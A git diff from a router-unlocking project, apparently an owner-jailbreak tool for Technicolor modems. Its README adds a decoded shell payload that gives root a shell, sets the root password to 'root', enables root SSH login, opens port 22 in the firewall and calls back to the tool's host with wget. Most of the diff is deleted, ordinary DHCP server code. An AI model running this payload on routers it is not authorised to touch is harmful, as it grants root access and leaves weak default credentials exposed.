diff --git a/.gitignore b/.gitignore index d74c032..a7b198b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,6 @@ +dist/ +node_modules/ +release/ tch-exploit-linux.zip tch-exploit-macos.zip tch-exploit-win.zip diff --git a/README.md b/README.md index 181b22e..583af61 100644 --- a/README.md +++ b/README.md @@ -1,27 +1,80 @@ -Technicolor OpenWRT Shell Unlocker By BoLaMN +# Technicolor OpenWRT Shell Unlocker By BoLaMN + +## Prerequisites * Connect network cable from your computer to the WAN (red) port of the modem * Change your computers network card to be a static ip address - IPv4 Address: 58.162.0.1 - Subnet Mask: 255.255.255.0 - Default Gateway\\Router: 58.162.0.1 + IPv4 Address: 58.162.0.1 + Subnet Mask: 255.255.255.0 + Default Gateway: 58.162.0.1 Run as admin or sudo as it needs permission to bind on ports lower then 1024 avaliable *optional* arguments --acspass, --acsurl, --dhcponly, --ip, --port, -—tftp, --file, -—file-type -## if you are a n00b, go here - +## Pre-built binaries + +You can find compiled and built binaries in our [releases](https://github.com/BoLaMN/tch-exploit/releases) page + +## Building manually + + git clone https://github.com/BoLaMN/tch-exploit.git && cd tch-exploit + npm install pkg coffee-script + npm install + coffee --no-header --bare --compile --output dist src + # To build for windows or macos update --targets accordingly + npx pkg --targets latest-linuxstatic-x64 --out-path release/ . + release/tch-exploit # Run + +## Payload + +The payload itself is in `src/http/file.coffee` and is encoded. Here you can see the HEX buffer decoded so you would know what is being ran on the router: + + python3 -c "print(bytes.fromhex('').decode())" + +--- -## building (if you’re extending functionality) + reboot off + set button.wps.handler=" + # 1. Enable root shell in /etc/passwd + sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd && + + # 2. Set root password to 'root' + echo root:root | chpasswd && + + # 3. Enable console access in inittab + sed -i -e 's/#//' -e 's#askconsole:.*\$#askconsole:/bin/ash#' /etc/inittab && + + # 4. Configure dropbear (SSH server) + (uci -q delete dropbear.afg || true) && + uci add dropbear dropbear && + uci rename dropbear.@dropbear[-1]=afg && + uci set dropbear.afg.enable='1' && + uci set dropbear.afg.Interface='lan' && + uci set dropbear.afg.Port='22' && + uci set dropbear.afg.IdleTimeout='600' && + uci set dropbear.afg.PasswordAuth='on' && + uci set dropbear.afg.RootPasswordAuth='on' && + uci set dropbear.afg.RootLogin='1' && + (uci set dropbear.lan.enable='0' || true) && + uci commit dropbear && + /etc/init.d/dropbear enable && + /etc/init.d/dropbear restart && + + # 5. Open port 22 in firewall (find and change DROP rule to ACCEPT) + (uci -q set $(uci show firewall | grep ... ).target='ACCEPT' || true) && + uci commit firewall && + /etc/init.d/firewall reload && + + # 6. Restore WPS button to normal function + uci set button.wps.handler='wps_button_pressed.sh' && + uci commit && + + # 7. Signal completion back to tch-exploit + wget {{url}}done || true + " -``` -npm install pkg coffee-script -g -npm install -npm run compile -npm run package -``` ## Full example with Windows and Technicolor DJA0231 Connect your PC's Ethernet port to the modem's WAN port and configure your PC's static IP address accordingly: @@ -54,5 +107,4 @@ Now you press and hold the WPS button for around 3 sec before releasing. On the Now you can unplug the Ethernet cable from the WAN port and insert it into one of the LAN ports. Change your PC back to DHCP and then putty to 192.168.0.1 and login as root/root - License: MIT diff --git a/dist/args.js b/dist/args.js deleted file mode 100644 index 39d9612..0000000 --- a/dist/args.js +++ /dev/null @@ -1,16 +0,0 @@ -var snakeToCamel; - -snakeToCamel = function(s) { - return s.replace(/(\-\w)/g, function(m) { - return m[1].toUpperCase(); - }); -}; - -module.exports = process.argv.slice(2, process.argv.length).reduce(function(args, str) { - var arg, flag, value; - arg = str.split('='); - flag = arg[0].slice(2, arg[0].length); - value = arg[1] || true; - args[snakeToCamel(flag)] = value; - return args; -}, {}); diff --git a/dist/ask.js b/dist/ask.js deleted file mode 100644 index 5bf841c..0000000 --- a/dist/ask.js +++ /dev/null @@ -1,60 +0,0 @@ -var ips, networkInterfaces, readline; - -networkInterfaces = require('os').networkInterfaces; - -ips = require('./ips'); - -readline = require('readline').createInterface({ - input: process.stdin, - output: process.stdout -}); - -module.exports = function(ip) { - var addr, check, interval, p; - interval = null; - addr = []; - check = function() { - addr = ips(); - return addr.find(function(arg) { - var address; - address = arg.address; - return address === ip; - }); - }; - p = new Promise(function(resolve, reject) { - var ask; - ask = function() { - var add; - add = check(); - if (add) { - return resolve(add); - } - console.log("Could not find interface with ip: " + ip); - console.table(addr); - return readline.question("Select network interface: ", function(idx) { - if (addr[idx] == null) { - console.log('Unknown index: ' + idx); - return ask(); - } - if (addr[idx].address !== ip) { - return ask(); - } - return resolve(addr[idx]); - }); - }; - interval = setInterval(function() { - var add; - add = check(); - if (add) { - return resolve(add); - } - }, 2000); - return ask(); - }); - p.then(function(add) { - console.log("using interface", add); - clearInterval(interval); - return readline.close(); - }); - return p; -}; diff --git a/dist/dhcp/constants.js b/dist/dhcp/constants.js deleted file mode 100644 index b95bc56..0000000 --- a/dist/dhcp/constants.js +++ /dev/null @@ -1,93 +0,0 @@ -module.exports = { - DHCPDISCOVER: 1, - DHCPOFFER: 2, - DHCPREQUEST: 3, - DHCPDECLINE: 4, - DHCPACK: 5, - DHCPNAK: 6, - DHCPRELEASE: 7, - DHCPINFORM: 8, - SERVER_PORT: 67, - CLIENT_PORT: 68, - INADDR_ANY: '0.0.0.0', - INADDR_BROADCAST: '255.255.255.255', - BOOTREQUEST: 1, - BOOTREPLY: 2, - DHCPV6: { - MESSAGETYPE: { - 1: 'SOLICIT', - 2: 'ADVERTISE', - 3: 'REQUEST', - 4: 'CONFIRM', - 5: 'RENEW', - 6: 'REBIND', - 7: 'REPLY', - 8: 'RELEASE', - 9: 'DECLINE', - 10: 'RECONFIGURE', - 11: 'INFORMATION_REQUEST', - 12: 'RELAY_FORW', - 13: 'RELAY_REPL' - }, - OPTIONS: { - 1: 'CLIENTID', - 2: 'SERVERID', - 3: 'IA_NA', - 4: 'IA_TA', - 5: 'IAADDR', - 6: 'ORO', - 7: 'PREFERENCE', - 8: 'ELAPSED_TIME', - 9: 'RELAY_MSG', - 11: 'AUTH', - 12: 'UNICAST', - 13: 'STATUS_CODE', - 14: 'RAPID_COMMIT', - 15: 'USER_CLASS', - 16: 'VENDOR_CLASS', - 17: 'VENDOR_OPTS', - 18: 'INTERFACE_ID', - 19: 'RECONF_MSG', - 20: 'RECONF_ACCEPT', - 21: 'SIP_SERVER_D', - 22: 'SIP_SERVER_A', - 23: 'DNS_SERVERS', - 24: 'DOMAIN_LIST', - 25: 'IA_PD', - 26: 'IAPREFIX', - 27: 'NIS_SERVERS', - 28: 'NISP_SERVERS', - 29: 'NIS_DOMAIN_NAME', - 30: 'NISP_DOMAIN_NAME', - 31: 'SNTP_SERVERS', - 32: 'INFORMATION_REFRESH_TIME', - 33: 'BCMCS_SERVER_D', - 34: 'BCMCS_SERVER_A', - 36: 'GEOCONF_CIVIC', - 37: 'REMOTE_ID', - 38: 'SUBSCRIBER_ID', - 39: 'CLIENT_FQDN', - 40: 'PANA_AGENT', - 41: 'NEW_POSIX_TIMEZONE', - 42: 'NEW_TZDB_TIMEZONE', - 43: 'ERO', - 44: 'LQ_QUERY', - 45: 'CLIENT_DATA', - 46: 'CLT_TIME', - 47: 'LQ_RELAY_DATA', - 48: 'LQ_CLIENT_LINK', - 49: 'MIP6_HNIDF', - 50: 'MIP6_VDINF', - 51: 'V6_LOST', - 52: 'CAPWAP_AC_V6', - 53: 'RELAY_ID', - 54: 'IPv6AddressMoS', - 55: 'IPv6FQDNMoS', - 56: 'NTP_SERVER', - 57: 'V6_ACCESS_DOMAIN', - 58: 'SIP_UA_CS_LIST', - 59: 'BOOTFILE_URL', - 79: 'CLIENT_LINKLAYER_ADDR' - } - } -}; diff --git a/dist/dhcp/index.js b/dist/dhcp/index.js deleted file mode 100644 index a3295f2..0000000 --- a/dist/dhcp/index.js +++ /dev/null @@ -1,46 +0,0 @@ -var path, server, toHexArray; - -server = require('./server'); - -path = require('path'); - -toHexArray = function(str) { - return str.split('').map(function(d, i) { - return str.charCodeAt(i); - }); -}; - -module.exports = function(ip, acsurl, acspass) { - var vendor; - ip = ip.split('.'); - ip.pop(); - ip = ip.join('.'); - acsurl = toHexArray(acsurl); - acspass = acspass ? toHexArray(acspass) : [84, 101, 108, 115, 116, 114, 97]; - vendor = [1, acsurl.length].concat(acsurl.concat([2, acspass.length].concat(acspass))); - server.createServer({ - range: [ip + '.10', ip + '.15'], - forceOptions: ['router', 'hostname', 'vendor'], - randomIP: true, - vendor: vendor, - netmask: '255.255.255.0', - router: [ip + '.1'], - hostname: 'second.gateway', - broadcast: ip + '.255', - server: ip + '.1' - }).on('listening', function(sock, type) { - var address, port, ref; - ref = sock.address(), address = ref.address, port = ref.port; - return console.log("Waiting for DHCP" + type + " request... " + address + ":" + port); - }).on('message', function(data) { - return console.log('### MESSAGE', JSON.stringify(data)); - }).on('bound', function(state, ans) { - return console.log('### BOUND', JSON.stringify(state)); - }).on('error', function(err, data) { - if (!data) { - return; - } - return console.log('!!! ERROR', err, data); - }).listen(67); - return server; -}; diff --git a/dist/dhcp/lease.js b/dist/dhcp/lease.js deleted file mode 100644 index 2b36c65..0000000 --- a/dist/dhcp/lease.js +++ /dev/null @@ -1,30 +0,0 @@ -var Lease; - -Lease = (function() { - function Lease() {} - - Lease.prototype.bindTime = null; - - Lease.prototype.leasePeriod = 86400; - - Lease.prototype.renewPeriod = 1440; - - Lease.prototype.rebindPeriod = 14400; - - Lease.prototype.state = null; - - Lease.prototype.server = null; - - Lease.prototype.address = null; - - Lease.prototype.options = null; - - Lease.prototype.tries = 0; - - Lease.prototype.xid = 1; - - return Lease; - -})(); - -module.exports = Lease; diff --git a/dist/dhcp/options.js b/dist/dhcp/options.js deleted file mode 100644 index 7eaef6e..0000000 --- a/dist/dhcp/options.js +++ /dev/null @@ -1,522 +0,0 @@ -var Tools, attr, conf, i, opts, v; - -Tools = require('./tools'); - -opts = { - 1: { - name: 'Subnet Mask', - type: 'IP', - config: 'netmask', - "default": function() { - var net, range; - range = this.config('range'); - net = Tools.netmaskFromRange(range[0], range[1]); - return Tools.formatIp(net); - } - }, - 2: { - name: 'Time Offset', - type: 'Int32', - config: 'timeOffset' - }, - 3: { - name: 'Router', - type: 'IPs', - config: 'router', - "default": function() { - var range; - range = this.config('range'); - return range[0]; - } - }, - 4: { - name: 'Time Server', - type: 'IPs', - config: 'timeServer' - }, - 5: { - name: 'Name Server', - type: 'IPs', - config: 'nameServer' - }, - 6: { - name: 'Domain Name Server', - type: 'IPs', - config: 'dns', - "default": ['8.8.8.8', '8.8.4.4'] - }, - 7: { - name: 'Log Server', - type: 'IPs', - config: 'logServer' - }, - 8: { - name: 'Cookie Server', - type: 'IPs', - config: 'cookieServer' - }, - 9: { - name: 'LPR Server', - type: 'IPs', - config: 'lprServer' - }, - 10: { - name: 'Impress Server', - type: 'IPs', - config: 'impressServer' - }, - 11: { - name: 'Resource Location Server', - type: 'IPs', - config: 'rscServer' - }, - 12: { - name: 'Host Name', - type: 'ASCII', - config: 'hostname' - }, - 13: { - name: 'Boot File Size', - type: 'UInt16', - config: 'bootFileSize' - }, - 14: { - name: 'Merit Dump File', - type: 'ASCII', - config: 'dumpFile' - }, - 15: { - name: 'Domain Name', - type: 'ASCII', - config: 'domainName' - }, - 16: { - name: 'Swap Server', - type: 'IP', - config: 'swapServer' - }, - 17: { - name: 'Root Path', - type: 'ASCII', - config: 'rootPath' - }, - 18: { - name: 'Extension Path', - type: 'ASCII', - config: 'extensionPath' - }, - 19: { - name: 'IP Forwarding', - type: 'UInt8', - config: 'ipForwarding', - "enum": { - 0: 'Disabled', - 1: 'Enabled' - } - }, - 20: { - name: 'Non-Local Source Routing', - type: 'Bool', - config: 'nonLocalSourceRouting' - }, - 21: { - name: 'Policy Filter', - type: 'IPs', - config: 'policyFilter' - }, - 22: { - name: 'Maximum Datagram Reassembly Size', - type: 'UInt16', - config: 'maxDatagramSize' - }, - 23: { - name: 'Default IP Time-to-live', - type: 'UInt8', - config: 'datagramTTL' - }, - 24: { - name: 'Path MTU Aging Timeout', - type: 'UInt32', - config: 'mtuTimeout' - }, - 25: { - name: 'Path MTU Plateau Table', - type: 'UInt16s', - config: 'mtuSizes' - }, - 26: { - name: 'Interface MTU', - type: 'UInt16', - config: 'mtuInterface' - }, - 27: { - name: 'All Subnets are Local', - type: 'UInt8', - config: 'subnetsAreLocal', - "enum": { - 0: 'Disabled', - 1: 'Enabled' - } - }, - 28: { - name: 'Broadcast Address', - type: 'IP', - config: 'broadcast', - "default": function() { - var cidr, ip, range; - range = this.config('range'); - ip = range[0]; - cidr = Tools.CIDRFromNetmask(this.config('netmask')); - return Tools.formatIp(Tools.broadcastFromIpCIDR(ip, cidr)); - } - }, - 29: { - name: 'Perform Mask Discovery', - type: 'UInt8', - config: 'maskDiscovery', - "enum": { - 0: 'Disabled', - 1: 'Enabled' - } - }, - 30: { - name: 'Mask Supplier', - type: 'UInt8', - config: 'maskSupplier', - "enum": { - 0: 'Disabled', - 1: 'Enabled' - } - }, - 31: { - name: 'Perform Router Discovery', - type: 'UInt8', - config: 'routerDiscovery', - "enum": { - 0: 'Disabled', - 1: 'Enabled' - } - }, - 32: { - name: 'Router Solicitation Address', - type: 'IP', - config: 'routerSolicitation' - }, - 33: { - name: 'Static Route', - type: 'IPs', - config: 'staticRoutes' - }, - 34: { - name: 'Trailer Encapsulation', - type: 'Bool', - config: 'trailerEncapsulation' - }, - 35: { - name: 'ARP Cache Timeout', - type: 'UInt32', - config: 'arpCacheTimeout' - }, - 36: { - name: 'Ethernet Encapsulation', - type: 'Bool', - config: 'ethernetEncapsulation' - }, - 37: { - name: 'TCP Default TTL', - type: 'UInt8', - config: 'tcpTTL' - }, - 38: { - name: 'TCP Keepalive Interval', - type: 'UInt32', - config: 'tcpKeepalive' - }, - 39: { - name: 'TCP Keepalive Garbage', - type: 'Bool', - config: 'tcpKeepaliveGarbage' - }, - 40: { - name: 'Network Information Service Domain', - type: 'ASCII', - config: 'nisDomain' - }, - 41: { - name: 'Network Information Servers', - type: 'IPs', - config: 'nisServer' - }, - 42: { - name: 'Network Time Protocol Servers', - type: 'IPs', - config: 'ntpServer' - }, - 43: { - name: 'Vendor Specific Information', - type: 'UInt8s', - config: 'vendor' - }, - 44: { - name: 'NetBIOS over TCP/IP Name Server', - type: 'IPs', - config: 'nbnsServer' - }, - 45: { - name: 'NetBIOS over TCP/IP Datagram Distribution Server', - type: 'IP', - config: 'nbddServer' - }, - 46: { - name: 'NetBIOS over TCP/IP Node Type', - type: 'UInt8', - "enum": { - 0x1: 'B-node', - 0x2: 'P-node', - 0x4: 'M-node', - 0x8: 'H-node' - }, - config: 'nbNodeType' - }, - 47: { - name: 'NetBIOS over TCP/IP Scope', - type: 'ASCII', - config: 'nbScope' - }, - 48: { - name: 'X Window System Font Server', - type: 'IPs', - config: 'xFontServer' - }, - 49: { - name: 'X Window System Display Manager', - type: 'IPs', - config: 'xDisplayManager' - }, - 50: { - name: 'Requested IP Address', - type: 'IP', - attr: 'requestedIpAddress' - }, - 51: { - name: 'IP Address Lease Time', - type: 'UInt32', - config: 'leaseTime', - "default": 86400 - }, - 52: { - name: 'Option Overload', - type: 'UInt8', - "enum": { - 1: 'file', - 2: 'sname', - 3: 'both' - } - }, - 53: { - name: 'DHCP Message Type', - type: 'UInt8', - "enum": { - 1: 'DHCPDISCOVER', - 2: 'DHCPOFFER', - 3: 'DHCPREQUEST', - 4: 'DHCPDECLINE', - 5: 'DHCPACK', - 6: 'DHCPNAK', - 7: 'DHCPRELEASE', - 8: 'DHCPINFORM' - } - }, - 54: { - name: 'Server Identifier', - type: 'IP', - config: 'server' - }, - 55: { - name: 'Parameter Request List', - type: 'UInt8s', - attr: 'requestParameter' - }, - 56: { - name: 'Message', - type: 'ASCII' - }, - 57: { - name: 'Maximum DHCP Message Size', - type: 'UInt16', - config: 'maxMessageSize', - "default": 1500 - }, - 58: { - name: 'Renewal (T1) Time Value', - type: 'UInt32', - config: 'renewalTime', - "default": 3600 - }, - 59: { - name: 'Rebinding (T2) Time Value', - type: 'UInt32', - config: 'rebindingTime', - "default": 14400 - }, - 60: { - name: 'Vendor Class-Identifier', - type: 'ASCII', - attr: 'vendorClassId', - config: 'vendorClassId' - }, - 61: { - name: 'Client-Identifier', - type: 'ASCII', - attr: 'clientId' - }, - 64: { - name: 'Network Information Service+ Domain', - type: 'ASCII', - config: 'nisPlusDomain' - }, - 65: { - name: 'Network Information Service+ Servers', - type: 'IPs', - config: 'nisPlusServer' - }, - 66: { - name: 'TFTP server name', - type: 'ASCII', - config: 'tftpServer' - }, - 67: { - name: 'Bootfile name', - type: 'ASCII', - config: 'bootFile' - }, - 68: { - name: 'Mobile IP Home Agent', - type: 'ASCII', - config: 'homeAgentAddresses' - }, - 69: { - name: 'Simple Mail Transport Protocol (SMTP) Server', - type: 'IPs', - config: 'smtpServer' - }, - 70: { - name: 'Post Office Protocol (POP3) Server', - type: 'IPs', - config: 'pop3Server' - }, - 71: { - name: 'Network News Transport Protocol (NNTP) Server', - type: 'IPs', - config: 'nntpServer' - }, - 72: { - name: 'Default World Wide Web (WWW) Server', - type: 'IPs', - config: 'wwwServer' - }, - 73: { - name: 'Default Finger Server', - type: 'IPs', - config: 'fingerServer' - }, - 74: { - name: 'Default Internet Relay Chat (IRC) Server', - type: 'IPs', - config: 'ircServer' - }, - 75: { - name: 'StreetTalk Server', - type: 'IPs', - config: 'streetTalkServer' - }, - 76: { - name: 'StreetTalk Directory Assistance (STDA) Server', - type: 'IPs', - config: 'streetTalkDAServer' - }, - 80: { - name: 'Rapid Commit', - type: 'Bool', - attr: 'rapidCommit' - }, - 93: { - name: 'Client System', - type: 'HEX', - config: 'clientSystem' - }, - 94: { - name: 'Client NDI', - type: 'HEX', - attr: 'clientNdi', - config: 'clientNdi' - }, - 97: { - name: 'UUID/GUID', - type: 'HEX', - config: 'uuidGuid' - }, - 116: { - name: 'Auto-Configure', - type: 'UInt8', - "enum": { - 0: 'DoNotAutoConfigure', - 1: 'AutoConfigure' - }, - attr: 'autoConfigure' - }, - 118: { - name: 'Subnet Selection', - type: 'IP', - config: 'subnetSelection' - }, - 119: { - name: 'Domain Search List', - type: 'ASCII', - config: 'domainSearchList' - }, - 121: { - name: 'Classless Route Option Format', - type: 'IPs', - config: 'classlessRoute' - }, - 145: { - name: 'Forcerenew Nonce', - type: 'UInt8s', - attr: 'renewNonce' - }, - 252: { - name: 'Web Proxy Auto-Discovery', - type: 'ASCII', - config: 'wpad' - }, - 1001: { - name: 'Static', - config: 'static' - }, - 1002: { - name: 'Random IP', - type: 'Bool', - config: 'randomIP', - "default": true - } -}; - -conf = {}; - -attr = {}; - -for (i in opts) { - v = opts[i]; - if (v.config) { - conf[v.config] = parseInt(i, 10); - } else if (v.attr) { - conf[v.attr] = parseInt(i, 10); - } -} - -module.exports = { - opts: opts, - conf: conf, - attr: attr -}; diff --git a/dist/dhcp/protocol.js b/dist/dhcp/protocol.js deleted file mode 100644 index 0007d19..0000000 --- a/dist/dhcp/protocol.js +++ /dev/null @@ -1,282 +0,0 @@ -var SeqBuffer; - -SeqBuffer = require('./seqbuffer'); - -module.exports = { - parse: function(buf) { - var hlen, htype, sb; - if (buf.length < 230) { - throw new Error('Received data is too short'); - } - sb = new SeqBuffer(buf); - return { - op: sb.getUInt8(), - htype: htype = sb.getUInt8(), - hlen: hlen = sb.getUInt8(), - hops: sb.getUInt8(), - xid: sb.getUInt32(), - secs: sb.getUInt16(), - flags: sb.getUInt16(), - ciaddr: sb.getIP(), - yiaddr: sb.getIP(), - siaddr: sb.getIP(), - giaddr: sb.getIP(), - chaddr: sb.getMAC(htype, hlen), - sname: sb.getUTF8(64), - file: sb.getUTF8(128), - magicCookie: sb.getUInt32(), - options: sb.getOptions() - }; - }, - format: function(data) { - var sb; - sb = new SeqBuffer; - sb.addUInt8(data.op); - sb.addUInt8(data.htype); - sb.addUInt8(data.hlen); - sb.addUInt8(data.hops); - sb.addUInt32(data.xid); - sb.addUInt16(data.secs); - sb.addUInt16(data.flags); - sb.addIP(data.ciaddr); - sb.addIP(data.yiaddr); - sb.addIP(data.siaddr); - sb.addIP(data.giaddr); - sb.addMac(data.chaddr); - sb.addUTF8Pad(data.sname, 64); - sb.addUTF8Pad(data.file, 128); - sb.addUInt32(0x63825363); - sb.addOptions(data.options); - sb.addUInt8(255); - return sb; - }, - parseIpv6: function(msg, rinfo) { - var DUIDType, codeName, hopCount, i, i6, iBuf, interfaceID, linkAddress, linkHex, linkPre, num, o, offset, optionCode, optionLen, options, peerAddress, peerHex, peerPre, prot, readAddressRaw, relayBuf, xid; - options = { - op: msg.readUInt8(0) - }; - offset = 0; - readAddressRaw = function(msg, offset, len) { - var addr, b; - addr = ''; - while (len-- > 0) { - b = msg.readUInt8(offset++); - addr += (b + 0x100).toString(16).substr(-2); - if (len > 0) { - addr += ':'; - } - } - return addr; - }; - if (options.op === 12) { - hopCount = msg.readUInt8(1); - linkAddress = ''; - i = 2; - while (i < 18) { - if (i !== 2) { - linkAddress = linkAddress + ':'; - } - linkHex = msg.readUInt16BE(i).toString(16); - linkPre = (function() { - switch (linkHex.length) { - case 3: - return '0'; - case 2: - return '00'; - case 1: - return '000'; - default: - return ''; - } - })(); - linkAddress = linkAddress + linkPre + linkHex; - i = i + 2; - } - linkAddress = linkAddress; - peerAddress = ''; - o = 18; - while (o < 34) { - if (o !== 18) { - peerAddress = peerAddress + ':'; - } - peerHex = msg.readUInt16BE(o).toString(16); - peerPre = (function() { - switch (peerHex.length) { - case 3: - return '0'; - case 2: - return '00'; - case 1: - return '000'; - default: - return ''; - } - })(); - peerAddress = peerAddress + peerPre + peerHex; - o = o + 2; - } - peerAddress = peerAddress; - offset = 33; - } else { - xid = msg.readUInt8(1).toString(16) + msg.readUInt8(2).toString(16) + msg.readUInt8(3).toString(16); - options.xid = (function() { - switch (xid.length) { - case 1: - return '00000' + xid; - case 2: - return '0000' + xid; - case 3: - return '000' + xid; - case 4: - return '00' + xid; - case 5: - return '0' + xid; - } - })(); - offset = 3; - } - while (offset < msg.length - 1) { - optionCode = msg.readInt16BE(offset + 1); - optionLen = msg.readInt16BE(offset + 3); - offset = offset + 4; - switch (optionCode) { - case 1: - DUIDType = msg.readUInt16BE(offset + 1); - iBuf = new Buffer(optionLen); - msg.copy(iBuf, 0, offset + 1, offset + 1 + optionLen); - options.clientIdentifierOption = (function() { - switch (DUIDType) { - case 1: - return { - buffer: iBuf, - DUIDType: DUIDType, - hardwareType: msg.readUInt16BE(offset + 3), - time: msg.readUInt32BE(offset + 5), - linkLayerAddress: readAddressRaw(msg, offset + 9, optionLen - 8) - }; - case 2: - return { - buffer: iBuf, - DUIDType: DUIDType, - enterpriseNumber: void 0, - enterpriseNumberContd: void 0, - identifier: void 0 - }; - case 3: - return { - buffer: iBuf, - DUIDType: DUIDType, - hardwareType: msg.readUInt16BE(offset + 3), - linkLayerAddress: readAddressRaw(msg, offset + 5, optionLen - 4) - }; - } - })(); - offset += optionLen; - break; - case 2: - DUIDType = msg.readUInt16BE(offset + 1); - iBuf = new Buffer(optionLen); - msg.copy(iBuf, 0, offset + 1, offset + 1 + optionLen); - options.serverIdentifierOption = (function() { - switch (DUIDType) { - case 1: - return { - buffer: iBuf, - DUIDType: DUIDType, - hardwareType: msg.readUInt16BE(offset + 3), - time: msg.readUInt32BE(offset + 5), - linkLayerAddress: readAddressRaw(msg, offset + 9, optionLen - 8) - }; - case 2: - return { - buffer: iBuf, - DUIDType: DUIDType, - enterpriseNumber: void 0, - enterpriseNumberContd: void 0, - identifier: void 0 - }; - case 3: - return { - buffer: iBuf, - DUIDType: DUIDType, - hardwareType: msg.readUInt16BE(offset + 3), - linkLayerAddress: readAddressRaw(msg, offset + 5, optionLen - 4) - }; - } - })(); - offset += optionLen; - break; - case 3: - options.IA_NA = { - IAID: msg.readUInt32BE(offset + 1), - T1: msg.readUInt32BE(offset + 5), - T2: msg.readUInt32BE(offset + 9) - }; - offset += optionLen; - break; - case 6: - options.request = []; - options.requestDesc = []; - i6 = 1; - while (i6 < optionLen) { - num = msg.readUInt16BE(offset + i6); - prot = protocol.DHCPv6OptionsCode.get(num); - if (prot && prot.name) { - options.requestDesc.push(prot.name); - } - options.request.push(num); - i6 = i6 + 2; - } - offset += optionLen; - break; - case 8: - options.elapsedTime = msg.readUInt16BE(offset + 1); - offset += optionLen; - break; - case 9: - relayBuf = new Buffer(optionLen); - msg.copy(relayBuf, 0, offset + 1, offset + 1 + optionLen); - options.dhcpRelayMessage = parser6.parse(relayBuf, rinfo); - offset += optionLen; - break; - case 18: - interfaceID = new Buffer(optionLen); - msg.copy(interfaceID, 0, offset + 1, offset + 1 + optionLen); - options.interfaceID = { - hex: msg.toString('hex', offset + 1, offset + 1 + optionLen), - buffer: interfaceID - }; - offset += optionLen; - break; - case 25: - options.IA_PD = { - IAID: msg.readUInt32BE(offset + 1), - T1: msg.readUInt32BE(offset + 5), - T2: msg.readUInt32BE(offset + 9) - }; - offset += optionLen; - break; - case 37: - options.relayAgentRemoteID = { - enterpriseNumber: msg.readUInt32BE(offset + 1), - remoteId: msg.toString('hex', offset + 5, offset + 1 + optionLen) - }; - offset += optionLen; - break; - case 39: - options.clientFQDN = { - flags: msg.readUInt8(offset + 1), - domainName: msg.toString('utf8', offset + 2, offset + 1 + optionLen) - }; - offset += optionLen; - break; - default: - codeName = DHCPV6.OPTIONSCODE[optionCode]; - console.log('Unhandled DHCPv6 option ' + optionCode + ' (' + codeName + ')/' + optionLen + 'b'); - offset += optionLen; - break; - } - } - return options; - } -}; diff --git a/dist/dhcp/seqbuffer.js b/dist/dhcp/seqbuffer.js deleted file mode 100644 index 58c79c4..0000000 --- a/dist/dhcp/seqbuffer.js +++ /dev/null @@ -1,382 +0,0 @@ -var SeqBuffer, opts, trimZero, - hasProp = {}.hasOwnProperty; - -opts = require('./options').opts; - -trimZero = function(str) { - var pos; - pos = str.indexOf('\u0000'); - if (pos === -1) { - return str; - } else { - return str.substr(0, pos); - } -}; - -SeqBuffer = (function() { - function SeqBuffer(buf, len) { - this._data = buf || Buffer.alloc(len || 1500); - } - - SeqBuffer.prototype._data = null; - - SeqBuffer.prototype._r = 0; - - SeqBuffer.prototype._w = 0; - - SeqBuffer.prototype.addUInt8 = function(val) { - return this._w = this._data.writeUInt8(val, this._w, true); - }; - - SeqBuffer.prototype.getUInt8 = function() { - return this._data.readUInt8(this._r++, true); - }; - - SeqBuffer.prototype.addInt8 = function(val) { - return this._w = this._data.writeInt8(val, this._w, true); - }; - - SeqBuffer.prototype.getInt8 = function() { - return this._data.readInt8(this._r++, true); - }; - - SeqBuffer.prototype.addUInt16 = function(val) { - return this._w = this._data.writeUInt16BE(val, this._w, true); - }; - - SeqBuffer.prototype.getUInt16 = function() { - return this._data.readUInt16BE((this._r += 2) - 2, true); - }; - - SeqBuffer.prototype.addInt16 = function(val) { - return this._w = this._data.writeInt16BE(val, this._w, true); - }; - - SeqBuffer.prototype.getInt16 = function() { - return this._data.readInt16BE((this._r += 2) - 2, true); - }; - - SeqBuffer.prototype.addUInt32 = function(val) { - return this._w = this._data.writeUInt32BE(val, this._w, true); - }; - - SeqBuffer.prototype.getUInt32 = function() { - return this._data.readUInt32BE((this._r += 4) - 4, true); - }; - - SeqBuffer.prototype.addInt32 = function(val) { - return this._w = this._data.writeInt32BE(val, this._w, true); - }; - - SeqBuffer.prototype.getInt32 = function() { - return this._data.readInt32BE((this._r += 4) - 4, true); - }; - - SeqBuffer.prototype.addUTF8 = function(val) { - return this._w += this._data.write(val, this._w, 'utf8'); - }; - - SeqBuffer.prototype.addUTF8Pad = function(val, fixLen) { - var len, n; - len = Buffer.from(val, 'utf8').length; - n = 0; - while (len > fixLen) { - val = val.slice(0, fixLen - n); - len = Buffer.from(val, 'utf8').length; - n++; - } - this._data.fill(0, this._w, this._w + fixLen); - this._data.write(val, this._w, 'utf8'); - return this._w += fixLen; - }; - - SeqBuffer.prototype.getUTF8 = function(len) { - return trimZero(this._data.toString('utf8', this._r, this._r += len)); - }; - - SeqBuffer.prototype.addASCII = function(val) { - return this._w += this._data.write(val, this._w, 'ascii'); - }; - - SeqBuffer.prototype.addASCIIPad = function(val, fixLen) { - this._data.fill(0, this._w, this._w + fixLen); - this._data.write(val.slice(0, fixLen), this._w, 'ascii'); - return this._w += fixLen; - }; - - SeqBuffer.prototype.getASCII = function(len) { - return trimZero(this._data.toString('ascii', this._r, this._r += len)); - }; - - SeqBuffer.prototype.addIP = function(ip) { - var j, len1, octs, results, val; - if (typeof ip !== 'string') { - return; - } - octs = ip.split('.'); - if (octs.length !== 4) { - throw new Error('Invalid IP address ' + ip); - } - results = []; - for (j = 0, len1 = octs.length; j < len1; j++) { - val = octs[j]; - val = parseInt(val, 10); - if (0 <= val && val < 256) { - results.push(this.addUInt8(val)); - } else { - throw new Error('Invalid IP address ' + ip); - } - } - return results; - }; - - SeqBuffer.prototype.getIP = function() { - return this.getUInt8() + '.' + this.getUInt8() + '.' + this.getUInt8() + '.' + this.getUInt8(); - }; - - SeqBuffer.prototype.addIPs = function(ips) { - var ip, j, len1, results; - if (ips instanceof Array) { - results = []; - for (j = 0, len1 = ips.length; j < len1; j++) { - ip = ips[j]; - results.push(this.addIP(ip)); - } - return results; - } else { - return this.addIP(ips); - } - }; - - SeqBuffer.prototype.getIPs = function(len) { - var i, ret; - ret = []; - i = 0; - while (i < len) { - ret.push(this.getIP()); - i += 4; - } - return ret; - }; - - SeqBuffer.prototype.addHex = function(val, fixLen) { - if (fixLen) { - this._data.fill(0, this._w, this._w + fixLen); - this._data.write(val.slice(0, fixLen), this._w, 'hex'); - return this._w += fixLen; - } else { - return this._w += 